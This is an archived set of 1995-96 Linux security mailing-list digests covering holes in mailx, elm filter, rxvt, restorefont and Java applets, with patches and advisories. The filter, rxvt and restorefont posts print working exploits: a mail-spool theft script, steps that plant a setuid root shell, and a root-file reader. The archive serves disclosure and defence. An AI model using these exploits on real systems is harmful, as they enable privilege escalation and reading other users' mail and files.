splitvt with screen to provide multiple split screens. This can be very handy when running over a modem, or for developing client-server applications. What can I use it for? Well, at this time, I am aware of several ways in which people are using splitvt. Some people like to use it over the modem to allow them more than one window at a time, others like to use it in xterms because they prefer having everything on the screen at once, and some people are using it in conjunction with the -rcfile option to automate system administration tasks. If you are using splitvt in a new and unusual way, I'd like to hear about it! Direct all comments to [email protected] Where can I get it? Splitvt is available for anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. You can also get it from sunsite.unc.edu in /pub/Linux/Incoming now, and will hopefully to be moved to /pub/Linux/utils/terminal. The file is splitvt-1.6.3.tgz and it is in tarred and gzipped format. What's new? Lots of stuff. :) Here is the list of things from the CHANGES file: Version 1.6.3 Patched some security holes: fixed sprintf overflow in parserc.c fixed env label overflow in parserc.c fixed env variable expansion overflow added read access check in parserc.c added chdir() access check in parserc.c fixed sprintf overflow in vtmouse.c Version 1.6.2 Fixed a bug in vt_showscreen() Fixed separator redisplay in vt_prompt() Added the ANNOUNCE file Added a "cd" command to the startup file Added -t option to change xterm title xterm title is reset, if possible, at exit Added xterm drag-n-drop of separator bar Speeded up separator bar movement (broken) Fixed cut-paste highlighting (broken) Integrated cut-paste with X selection (xcb) Fixed job control for FreeBSD (thanks to Quang Ngo) Fixed bug in cursor keys (showed up in vi) - ---- What's planned? I want to beef up the startup file syntax so that you can specify the format of the "status bar", or window divider, and I plan to rewrite the startup file parser so that it allows you to use more flexible and powerful startup scripts. I am also toying with the idea of cut-paste "screen" style, and a window history that you can scroll back through. I have cut-paste partially working. Other things on the pot are cleaning up dead windows, dynamically starting new windows, etc... If you have any wishes, just let me know at [email protected], and I'll try to include them in future releases of splitvt. I'll try to avoid feeping creaturism, but a few bells and whistles would be nice. :) Note: At the moment I have several other projects, and have this one on unspecified hold. This release was mainly to fix some security holes. Will it run on my system? Well, if you run a UNIX that has pseudo-tty support, chances are that splitvt will work on your system. Splitvt has been ported to all of the "standard" unices, and also to a few oddball unices, such as AIX, NewsOS, MP-RAS, and NeXT. Well, that about wraps it up. I hope you enjoy this software, originally conceived by Dave Ljung and created by yours truly. Enjoy! -Sam Lantinga ([email protected]) ------------------------------ End of linux-alert-digest V1 #13 ******************************** linux-alert-digest/1995/v01.n014100664 1767 1767 16771 6071446620 15324 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #14 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Sunday, 31 December 1995 Volume 01 : Number 014 mailx-5.5 (slackware /bin/mail) security hole ---------------------------------------------------------------------- From: David J Meltzer Date: Fri, 22 Dec 1995 17:35:01 -0500 (EST) Subject: mailx-5.5 (slackware /bin/mail) security hole [mod: The timing of this is somewhat unfortunate, given that most people are off for xmas dinner now. Since this has been posted to bugtraq, too, there's no point in delaying it. However, I have removed the exploit code from the copy approved to linux-alert. --okir] There is a problem prevalent in the way many programs implement their usage of mktemp() in order to create temporary files in /tmp, allowing users on a machine to read and write to the contents of temporary files created. The basic problem is that there is a race condition that exists between the point that a program calls mktemp(), and the pathname returned by mktemp is actually created. For some programs, the file creation is immediately or almost immediately following the mktemp(), resulting in an extremely small window of opportunity, and as a result making it very difficult to exploit. However, there are other programs that do not immediately open the file, and in these cases it is only a matter of getting the timing right in order to exploit the hole. To exploit this hole, simply create the file that mktemp() returns as a valid temporary filename after mktemp() has been called, but before the file has been opened, allowing the user running the program permissions to read and write from that temporary file. The program will then succeed in an fopen, and will write to the file, oblivious to the fact that it didn't actually create the file, and that others can also read and write from the file. Note that most programs will immediately unlink() a temporary file, but that does not delete it until after it is closed. Closing a file results in the contents of it being flushed, and so by using a 'tail -f' or a similar procedure, you can capture the contents of the file before it is removed from the filesystem. The filename returned by mktemp() is easily determined for most unix platforms, allowing this bug to be exploited. For the linux libc, this is to replace the X's in the template with the leftmost digit starting at 'a', and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file already exists), and then replacing the rest of the X's with the process id (0 padded). Other operating systems use a variation of this technique, experimentation easily reveals the algorithm. The generic procedure used to formulate an exploit for a particular program with this bug is as follows: 1. detect the execution of the program. 2. determine the temporary filename that mktemp() will return when called by the program. 3. determine the point at which mktemp() is called by the program, and immediately following that point, create the file, with rw permissions for the user who is running the program. 4. read the contents of the temporary file, using a 'tail -f' or your own routines. Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers from this mktemp() problem in all temporary files it creates. It uses 5 temporary files with filenames generated during the program's initialization in a tinit() function, and then uses them as it becomes necessary during the program's execution. The race condition begins in this tinit() function. The temporary files that can be exploited are as follows: /tmp/ReXXXXXX Used when a user selects 'e' from the mailx command prompt, to edit mail. The message the user has selected to edit is copied to the temporary file at this point, and then the editor is invoked on that temp file. The race condition ends when the user has selected 'e', and allows the mesage being edited to be read. /tmp/RsXXXXXX Used when a user sends mail, usually from the command line, such as: 'mail dave'. The race condition ends when EOF is recieved from stdin, and the message is about to be sent, and allows the outgoing mail to be read. /tmp/RqXXXXXX Used when mail arrives into the mail spool while mail is currently running. The race condition ends when the program is preparing to shutdown, and allows the new contents of the mail spool to be read. /tmp/RmXXXXXX Used to prepend a message to the user's mbox file. Prepending requires the entire mbox contents to be read to the temporary file and then appened to the new message(s) being added to the file. This is disabled by default in Slackware 3.0 in the /etc/mail.rc by the use of the set append option. For this to be useful, that option needs to be removed from /etc/mail.rc, or an unset append needs to be added to the user executing mail's .mailrc file. The race condition ends when the program is preparing to shutdown /tmp/RxXXXXXX Used to read messages from the user's mail spool. The race condition ends during the program's startup, when the mail spool is read, and allows any new mail in the user's spool to be read. Because there is no user input between tinit() and this point, it is the only race condition that isn't completely trivial to exploit. The exploit that follows demonstrates the flaws in all but the final temporary file. To use, wait for a mail process to execute, then call the mailbug program with the process id as an argument, and finally execute a tail -f /tmp/R*, and let it run until the mail program has terminated execution. After it is over, remove the files you created in /tmp. As an aside, there are a number of programs that are vulnerable to a directed denial of service attack preventing people from using them by creation of the 62 temporary files that are attempted to be used by mktemp(), resulting in the failure of the program to run. By continous running of a program watching for these vulnerable programs to start, they can be prevented from ever successfully executing (one such example of this is in.pop3d, which would allow a denial of service attack against a specific user from recieving mail through pop). Program: mailx-5.5 (/bin/mail) Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5 Requirements: account on system, user using /bin/mail Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else) Security Compromise: any user with an account can read incoming, edited, or outgoing mail if the mail is processed by mailx. Author: Dave M. ([email protected]) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. [mod: code removed. --okir] ------------------------------ End of linux-alert-digest V1 #14 ******************************** linux-alert-digest/1995/v01.n015100664 1767 1767 24066 6074676220 15325 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #15 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 10 January 1996 Volume 01 : Number 015 filter (elm package) security hole rxvt security hole restorefont security hole ---------------------------------------------------------------------- From: [email protected] Date: Tue, 26 Dec 1995 15:07:49 -0500 (EST) Subject: filter (elm package) security hole The elm filter under linux runs sugrp mail, thus allowing it to freely read and write from users mail spools. It is only through the integrity of its code that the security of linux's mail system is protected; and in this respect it falls short. The failure of the filter program to properly handle temporary files allows a user to read or write to any user's mail spool, a significant security hole. The specific problem that is exploited in this hole is the way filter uses a temporary file to store the input to it, and then subsequently send it back out according to the filter. Because of the modularity of the coding, in the main filter.c, the temporary file is opened, and then written to; after which it is closed. The mailmessage function is then called, with the purpose of forwarding that mail, written to the temporary file, to whatever destination is specified in the filter. At the start of this process, the temporary file is opened, and the contents of it are dumped to the mail spool of the user the mail is being forwarded to. At any point after the file has been initially opened by the main filter function, since the user running filter has permissions on that temp file, it can be rm'd. The temp file existing can then be replaced with a symbolic link to any file that group mail has read permissions on. When it is opened in the mailmessage function, the symbolic link is followed and whatever file that was pointed to will be read in, and the contents forwarded to the user specified in the mail spool. The complete exploits are shown below: Program: filter, an elm utility Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter Requirements: account on machine Security Compromise: user can read any mail spool readable by grp mail. (usually everything, sometimes not root) Author: Dave M. ([email protected]) Synopsis: filter writes out the mail to be forwarded to a temporary file, which is then closed and reopened; if when the temporary file is reopened it is a symlink to a mail spool, filter will proceed to forward the contents of that file as if it was the original message. #!/bin/sh # This shell script exploits a problem with filter(1L) # it will follow symbolic links, on a read allowing # us to steal a users mail file. # # Usage: fread.sh victimsusername # # Contents will be stored in ~/victimsusername.mail # # Dave M. ([email protected]) # cp /var/spool/mail/$LOGNAME ~ cp /dev/null /var/spool/mail/$LOGNAME echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp cat << _EOF_ >> /tmp/fread-msg.tmp >From: Dave To: $LOGNAME Subject: Filter Exploit _EOF_ echo sleep 2 > /tmp/fread-sh.tmp echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp chmod +x /tmp/fread-sh.tmp /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp & FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'` rm -f /tmp/filter.$FREAD ln -s /var/spool/mail/$1 /tmp/filter.$FREAD sleep 2 rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD FREAD= cp /var/spool/mail/$LOGNAME ~/$1.mail cp ~/$LOGNAME /var/spool/mail more ~/$1.mail ------------------------------ From: [email protected] Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST) Subject: rxvt security hole There is a major security hole in rxvt, a terminal emulator for X, when it is run on systems suid root, as is required on many configurations in order to write to the utmp file. It is obvious from the code that this program was not written to be run suid root, its a pity that sysadmins that install the compiled versions of this sort of code don't see the same warnings of 'run suid root at your own risk' that the people that put together a distribution with it that way see in the makefile. The conditions that allow this particular hole to be exploited is rxvt compiled with the PRINT_PIPE option, and is running suid root. The program sets the pipe to "lpr", without a pathname, but its even easier than that to exploit because we can set the pipe to whatever we want with the -print-pipe option on the rxvt command line. Although the programs gives up its root privileges when forking to runn a shell or other command, the original program continues running suid root the entire execution of the program. Because the popen() call runs as root, whatever program that pipe opens will execute immediately as root. In order to start the printer pipe, the vt100 printer-on command is ESC[5i. The pipe can then be closed with the printer-off commad, ESC[4i. Exploiting this is extremely easy. Program: rxvt Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with rxvt suid root (and compiled with PRINT_PIPE) Requirements: account on system, X server Temporary Patch: chmod -s /usr/X11R6/bin/rxvt Security Compromise: root Author: Dave M. ([email protected]) Synopsis: rxvt fails to give up root privileges before opening a pipe to a program that can be specified by the user. Exploit: 1. Set DISPLAY environment variable if necessary so you can use x clients. 2. In user shell: $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug $ chmod +x /tmp/rxbug $ rxvt -print-pipe /tmp/rxbug 3. In rxvt xclient: $ cat ESC[5i ESC[4i (The client will close at this point with a broken pipe) 4. $ /tmp/rxsh # whoami root # ------------------------------ From: David J Meltzer Date: Fri, 22 Dec 1995 16:33:00 -0500 (EST) Subject: restorefont security hole Linux's svgalib utility restorefont, required to be suid root, has a problem in that it does not revoke suid permissions before reading a file. Similar bugs may exist in other svgalib utilities. The restorefont utility serves two functions. First, it will read a font from a file and write it to the console as the vga font. Second, it will read a font from the console and write it out to a file. Luckily, the specific bug in restorefont can only be exploited if someone is at the console, reducing its overall impact on the security of the system as a whole. In writing the utilities, the authors are aware of the fact that when writing out the font, suid permissions must first be given up; it is in fact commented as such in the code. However, when reading in a font, the program is still running with full suid root permissions. This allows us to read in any file for the font that root has access to (anything on a local fs). The applicable code to read in the file in restorefont is shown below: #define FONT_SIZE 8192 unsigned char font[FONT_SIZE]; if (argv[1][1] == 'r') { FILE *f; f = fopen(argv[2], "rb"); if (f == NULL) { error: perror("restorefont"); exit(1); } if(1!=fread(font, FONT_SIZE, 1, f)) { if(errno) goto error; puts("restorefont: input file corrupted."); exit(1); } fclose(f); We can see from this that the file to be read in has to be at least 8k, as if it is not, the program will produce an error and exit. If the file is at least 8k, the first 8k are read into the buffer, and the program proceeds to set whatever the contents of the file are to the font: vga_disabledriverreport(); vga_setchipset(VGA); /* avoid SVGA detection */ vga_init(); vga_setmode(G640x350x16); vga_puttextfont(font); vga_setmode(TEXT); At this point, the console will now look quite unreadable if you are reading something other than a font from that file. But, the data that is put into the font is left untouched and is readable using the -w option of restorefont. We then read the font back from video memory to a new file, and our job is complete, we have read the first 8k of a file we shouldn't have had access to. To prevent detection of having run this, we probably shouldn't leave an unreadable font on the screen, so we save and then restore the original font before reading from the file. The complete exploit is shown below: Program: restorefont, a svgalib utility Affected Operating Systems: linux - Slackware 3.0, others with svgalib Requirements: logged in at console Temporary Patch: chmod -s /usr/bin/restorefont Security Compromise: user can read first 8k of any file of at least 8k in size on local filesystems Author: Dave M. ([email protected]) Synopsis: restorefont reads a font file while suid root, writing it to video memory as the current vga font; anyone at console can read the current font to a file, allowing you to use video memory as an 8k file buffer. rfbug.sh: #!/bin/sh # This shell script exploits a problem with restorefont # it reads a file into the video memory as the vga font # and then writes the file back out from video memory # thus allowing any user at console to read 8k of any file # on a local filesystem. # # Usage: rfbug.sh filename-to-read filename-to-write # # Dave M. ([email protected]) # restorefont -w /tmp/deffont.tmp restorefont -r $1 restorefont -w $2 restorefont -r /tmp/deffont.tmp rm -f /tmp/deffont.tmp ------------------------------ End of linux-alert-digest V1 #15 ******************************** linux-alert-digest/1995/CONTENTS100664 1767 1767 3417 6246256234 15447 0ustar majdommajdom v01.n001: linux-alert-digest V1 #1 NFS deamon can be killed by normal users. Bogus post to Linux Alert v01.n002: linux-alert-digest V1 #2 NFS Vulnerability v01.n003: linux-alert-digest V1 #3 security hole in old versions of at for Linux Hash signs in hosts.equiv Trojan in Linux Satan Binaries (fwd) Trojan in Linux Satan Binaries! Trojan in Linux Satan Binaries! v01.n004: linux-alert-digest V1 #4 SECURITY: problem with some wu-ftpd-2.4 binaries Re: SECURITY: problem with some wu-ftpd-2.4 binaries v01.n005: linux-alert-digest V1 #5 SECURITY: problem with yppasswdd v01.n006: linux-alert-digest V1 #6 Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 SECURITY ALERT: Dangerous hole in vacation v1.0. v01.n007: linux-alert-digest V1 #7 Ghostscript problem v01.n008: linux-alert-digest V1 #8 Minicom 1.70 v01.n009: linux-alert-digest V1 #9 URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability v01.n010: linux-alert-digest V1 #10 Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability v01.n011: linux-alert-digest V1 #11 Telnetd Environment Vulnerability Re: BoS: Telnetd Environment Vulnerability Apology for errant post. v01.n012: linux-alert-digest V1 #12 EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE PGP key compromise. 'ypupdated' hole, system crackers. v01.n013: linux-alert-digest V1 #13 Avalon Release SECURITY: Announcing Splitvt 1.6.3 v01.n014: linux-alert-digest V1 #14 mailx-5.5 (slackware /bin/mail) security hole v01.n015: linux-alert-digest V1 #15 filter (elm package) security hole Filter Exploit rxvt security hole restorefont security hole linux-alert-digest/1995/TOPICS100664 1767 1767 4230 6246256234 15205 0ustar majdommajdom'ypupdated' hole, system crackers. v01.n012 (fwd) Trojan in Linux Satan Binaries! v01.n003 Apology for errant post. v01.n011 Avalon Release v01.n013 Bogus post to Linux Alert v01.n001 BoS: Telnetd Environment Vulnerability v01.n011 EMERGENCY LINUX SECURITY FAQ UPDATE: ... v01.n012 filter (elm package) security hole v01.n015 Filter Exploit v01.n015 Fwd: CERT Advisory CA-95:14 - Telnetd... v01.n010 Ghostscript problem v01.n007 Hash signs in hosts.equiv v01.n003 linux-alert-digest V1 #1 v01.n001 linux-alert-digest V1 #10 v01.n010 linux-alert-digest V1 #11 v01.n011 linux-alert-digest V1 #12 v01.n012 linux-alert-digest V1 #13 v01.n013 linux-alert-digest V1 #14 v01.n014 linux-alert-digest V1 #15 v01.n015 linux-alert-digest V1 #2 v01.n002 linux-alert-digest V1 #3 v01.n003 linux-alert-digest V1 #4 v01.n004 linux-alert-digest V1 #5 v01.n005 linux-alert-digest V1 #6 v01.n006 linux-alert-digest V1 #7 v01.n007 linux-alert-digest V1 #8 v01.n008 linux-alert-digest V1 #9 v01.n009 Linux Security FAQ Update#5: Cipher-3... v01.n006 mailx-5.5 (slackware /bin/mail) secur... v01.n014 Minicom 1.70 v01.n008 NFS deamon can be killed by normal us... v01.n001 NFS Vulnerability v01.n002 PGP key compromise. v01.n012 restorefont security hole v01.n015 rxvt security hole v01.n015 SECURITY: Announcing Splitvt 1.6.3 v01.n013 SECURITY: problem with some wu-ftpd-2... v01.n004 SECURITY: problem with yppasswdd v01.n005 SECURITY ALERT: Dangerous hole in vac... v01.n006 security hole in old versions of at f... v01.n003 Telnetd Environment Vulnerability v01.n011 Trojan in Linux Satan Binaries v01.n003 Trojan in Linux Satan Binaries! v01.n003 URGENT: Linux Security FAQ Update#7: ... v01.n009 linux-alert-digest/v02.n007100664 1767 1767 23063 6131427422 14704 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #7 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Saturday, 6 April 1996 Volume 02 : Number 007 [linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] [linux-alert] Technical problems...please do not adjust your T.V. ---------------------------------------------------------------------- From: Jeff Uphoff Date: Fri, 29 Mar 1996 17:05:25 -0500 Subject: [linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] - ------- start of forwarded message (RFC 934 encapsulation) ------- From: CERT Advisory Organization: CERT(sm) Coordination Center - +1 412-268-7090 To: [email protected] Subject: CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier Date: Fri, 29 Mar 1996 09:37:41 -0500 Reply-To: [email protected] ============================================================================= CERT(sm) Advisory CA-96.07 March 29, 1996 Topic: Weaknesses in Java Bytecode Verifier - - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of weaknesses in the bytecode verifier portion of Sun Microsystems' Java Development Kit (JDK) versions 1.0 and 1.0.1. The JDK is built into Netscape Navigator 2.0 and 2.01. We have not received reports of the exploitation of this vulnerability. When applets written with malicious intent are viewed, those applets can perform any operation that the legitimate user can perform on the machine running the browser. For example, a maliciously written applet could remove files from the machine on which the browser is running--but only if the legitimate user could also. Problem applets have to be specifically written with malicious intent, and users are at risk only when connecting to "untrusted" web pages. If you use Java-enabled products on a closed network or browse the World Wide Web but never connect to "untrusted" web pages, you are not affected. The CERT staff recommends disabling Java in Netscape Navigator and not using Sun's appletviewer to browse applets from untrusted sources until patches are available from these vendors. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.07.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - - ----------------------------------------------------------------------------- I. Description The Java Programming Language is designed to allow an executable computer program, called an applet, to be attached to a page viewable by a World Wide Web browser. When a user browsing the Web visits that page, the applet is automatically downloaded onto the user's machine and executed, but only if Java is enabled. It is possible for an applet to generate and execute raw machine code on the machine where the browser is running. This means that a maliciously written applet can perform any action that the legitimate user can perform; for example, an applet can read, delete, or change files that the user owns. Because applets are loaded and run automatically as a side-effect of visiting a Web page, someone could "booby-trap" their Web page and compromise the machine of anyone visiting the page. This is the problem described in the Wall Street Journal on March 26, 1996 ("Researchers Find Big Security Flaw in Java Language," by Don Clark). Note: The security enhancements announced by Sun Microsystems in JDK version 1.0.1 and by Netscape Communications in Netscape Navigator version 2.01 do *not* fix this flaw. II. Impact If Java is enabled and a Web page containing a maliciously written applet is viewed by any of the vulnerable browsers or Sun's appletviewer, that applet can perform any operation that the legitimate user can perform. For example, the applet could read, delete, or in other ways corrupt the user's files and any other files the user has access to, such as /etc/passwd. III. Solution We recommend obtaining vendor patches as soon as they become available. Until you can install the patches, we urge you to apply the workarounds described below. A. Java Development Kit users Sun reports that source-level fixes will be supplied to source licensees in the next few days. The fixes will also be included in the next JDK version, v1.0.2, which will be released within the next several weeks. The JDK itself is a development kit, and it can safely be used to develop applets and applications. If you choose to use the appletviewer as a rudimentary browser, do not use it to browse applets from untrusted sources until you have installed the v1.0.2 browser. B. Netscape users If you use Netscape 2.0 or 2.01, disable Java using the "Security Preferences" dialog box. You do not need to disable JavaScript as part of this workaround. For the latest news about fixes for Netscape Navigator, consult the following for details: http://home.netscape.com/ IV. Information for HotJava (alpha3) users Sun Microsystems has provided the following information for users of HotJava (alpha3). Sun made available last year a demonstration version of a browser called "HotJava." That version (alpha3) is proof-of-concept software only, not a product. HotJava (alpha3) uses an entirely different security architecture from JDK 1.0 or JDK 1.0.1. It will not be tested for any reported security vulnerabilities that it might be susceptible to, and Sun neither supports it nor recommends its use as a primary browser. When HotJava is released as a product, it will be based on an up-to-date version of the JDK and fully supported. - - --------------------------------------------------------------------------- The CERT Coordination Center thanks Drew Dean, Ed Felten, and Dan Wallach of Princeton University for providing information for this advisory. We thank Netscape Communications Corporation and Sun Microsystems, Inc. for their response to this problem. - - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - ------- end ------- ------------------------------ From: Jeff Uphoff Date: Tue, 2 Apr 1996 17:11:52 -0500 Subject: [linux-alert] Technical problems...please do not adjust your T.V. Due to a couple of sendmail upgrades gone awry here I'm having to re-send some (four) messages to the linux-security list; they got partially cooked when rogue daemons breathed fire on them. If you get multiple copies of some of these messages (hopefully not more than two), don't worry...the problem is known to be in the transmitter and our best technicians are [OK, OK...our only technician is] working on it. Also due to these sendmail problems: some list members may not have received one or more linux-security and/or linux-alert messages that were posted last week (e.g. the CERT advisory "CA-96.07 - Weaknesses in Java Bytecode Verifier"). If you think that you might have missed (i.e. not received) a message or two, please check the list archive at: ftp://linux.nrao.edu/pub/linux/security/list-archive. Sorry for the inconvenience! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ End of linux-alert-digest V2 #7 ******************************* linux-alert-digest/v02.n008100664 1767 1767 14704 6144572000 14704 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #8 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Friday, 10 May 1996 Volume 02 : Number 008 [linux-alert] Yet Another Java Hole. [linux-alert] Administrative note regarding subscriptions. ---------------------------------------------------------------------- From: Jeff Uphoff Date: Thu, 2 May 1996 12:50:11 -0400 Subject: [linux-alert] Yet Another Java Hole. Not Linux-specific, but there are enough Linuxers running Web browsers to make this a potential threat to a large number of Linux systems. - --Up. - ------- start of forwarded message (RFC 934 encapsulation) ------- Excerpted from RISKS 18.08. - - ------------ Date: Sun, 28 Apr 1996 03:42:49 +0000 (BST) >From: David Hopwood Subject: Another way to run native code from Java applets In addition to the security bug found by Drew Dean, Ed Felten and Dan Wallach in March, there is another way to run native code from a Java applet, which will require a separate fix to the current versions of Netscape (2.01 and Atlas PR2) and Sun's Java Development Kit (1.01). Both this attack and the previous one rely on an applet being able to create an instance of the same security-sensitive class, but each does so using an independent hole in the bytecode verifier. Once an applet is able to run native code, it can read, write, and execute any local file, with the permissions of the browser. These attacks do not require any additional preconditions, other than viewing the attacker's web page with Java enabled. They can be done without the user's knowledge. Summary of Java bugs found so far ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date Found by Fixed in Effects - - --------- ------ ---------- ------- Oct 30 95 DFW not fixed Various - see in HotJava ftp://ftp.cs.princeton.edu/reports/1995/501.ps.Z Feb 18 96 DFW/SG 1.01/2.01 Applets can exploit DNS spoofing to connect to machines behind firewalls Buffer overflow bug in javap Mar 2 96 DH 1.01/2.01 win32/MacOS: Applets can run native code UNIX: Ditto, provided certain files can be created on the client Mar 22 96 DFW not fixed Applets can run native code Mar 22 96 EW not fixed If host names are unregistered, applets may be able to connect to them Apr 27 96 DH not fixed Applets can run native code There was also a separate bug in beta versions of Netscape 2.0 which, in hindsight, would have allowed applets to run native code. [DFW = Drew Dean, Ed Felten, Dan Wallach http://www.cs.princeton.edu/sip/News.html SG = Steve Gibbons http://www.aztech.net/~steve/java/ DH = David Hopwood http://ferret.lmh.ox.ac.uk/~david/java/ EW = Eric Williams http://www.sky.net/~williams/java/javasec.html Dates indicate when the problem was first posted to RISKS, except for Eric Williams' bug, which has not been posted.] For bugs in Javascript, see John LoVerso's page http://www.osf.org/~loverso/javascript/ These include the ability to list any local directory (apparently fixed in Atlas PR2), and a new version of the real-time history tracker. Additional information on the March 2nd absolute pathname bug is now available from http://ferret.lmh.ox.ac.uk/~david/java/ Recommended actions ~~~~~~~~~~~~~~~~~~~ Netscape (2.0beta*, 2.0, 2.01): Disable Java (on all platforms except Windows 3.1x), and if possible Javascript, using the Security Preferences dialogue in the Options menu. Note that the section on security in the Netscape release notes is not up-to-date. Netscape (Atlas PR1, PR2): As above, except that the options to disable Java and Javascript have moved to the Languages tab in the Network Preferences dialogue. Appletviewer (JDK beta*, 1.0, 1.01): Do not use appletviewer to load applets from untrusted hosts. HotJava (alpha*): Sun no longer supports HotJava alpha, and does not not intend to fix any of its security holes until a beta version is released. David Hopwood [email protected] - ------- end ------- ------------------------------ From: Jeff Uphoff Date: Thu, 9 May 1996 08:06:58 -0400 Subject: [linux-alert] Administrative note regarding subscriptions. - -----BEGIN PGP SIGNED MESSAGE----- I've noticed a *lot* of people that are subscribed to both the linux-security and linux-alert lists. (Current subscription total: 7450 addresses in 79 top-level domains.) Linux-alert postings are normally CC'd to the linux-security list; if you're subscribed to linux-security then you don't really need to be subscribed to linux-alert as well. linux-alert is for bug and fix announcements, important security-related announcements, etc., whereas linux-security is for background discussions and work on security issues. If you're only interested in hearing about really important matters you should be subscribed to linux-alert. If you're interested in the background information and discussions, as well as the important announcements, you should be subscribed to linux-security. One other note: since the traffic volume on linux-alert is quite low (typically only a couple/few posts per month), subscribing to linux-alert-digest effectively causes an alert to reach you roughly a week later than if you were subscribed to linux-alert. There's really no point in having a linux-alert-digest list; I'm once again considered discontinuing it and moving its subscribers over to the regular linux-alert list. - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMZHf3XoDqzGe1QXFAQF/ZQQAwoqMV9lxfrd3INct3743ZSNoPfjJgerp 42kCxpKE4UGXY/oBTdDUL3i6dQFRLCvxbyPlrTw0w/ZUGfr20/TKQVWJGhD8XKyF gHaWT+iCimjCf8wc/YZqpMwzddCSr37J+erJO1qkynaxQW8N6x5NlL4XbR7wswmI QARJ3+UCwnM= =XNaE - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #8 ******************************* linux-alert-digest/v02.n009100664 1767 1767 12043 6155235400 14701 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #9 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 5 June 1996 Volume 02 : Number 009 [linux-alert] Serious Security hole in getpwnam () ---------------------------------------------------------------------- From: Jeff Uphoff Date: Tue, 28 May 1996 11:02:41 -0400 Subject: [linux-alert] Serious Security hole in getpwnam () - -----BEGIN PGP SIGNED MESSAGE----- This is a *very* serious hole that affects Linux-based NIS client systems. A more formal alert will be posted once a fixed version of libc has been officially released. For those that don't want to (or can't) patch and recompile their own fixed version of libc, I recommend the *immediate* removal of all "stub" NIS username entries, of the forms described in the attached message, from /etc/passwd. - - --Up. [Please note that the PGP and forwarding encapsulations have modified the MIME headers and the diff/patch segment.] - - ------- start of forwarded message (RFC 934 encapsulation) ------- From: Arno Schaefer Sender: [email protected] Organization: Fraunhofer CRCG, Inc. To: [email protected] Subject: Serious Security hole in getpwnam () Date: Fri, 24 May 1996 15:37:54 -0400 This is a multi-part message in MIME format. - - - --------------63DB9C7E36AD404B638D1437 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff, I just discovered a major security hole in the getpwnam() function in the current libc (5.3.12, probably present in all previous versions). It can be exploited if there is an entry in the form +username:::::: or -username:::::: or similar in /etc/passwd (an entry to admit or 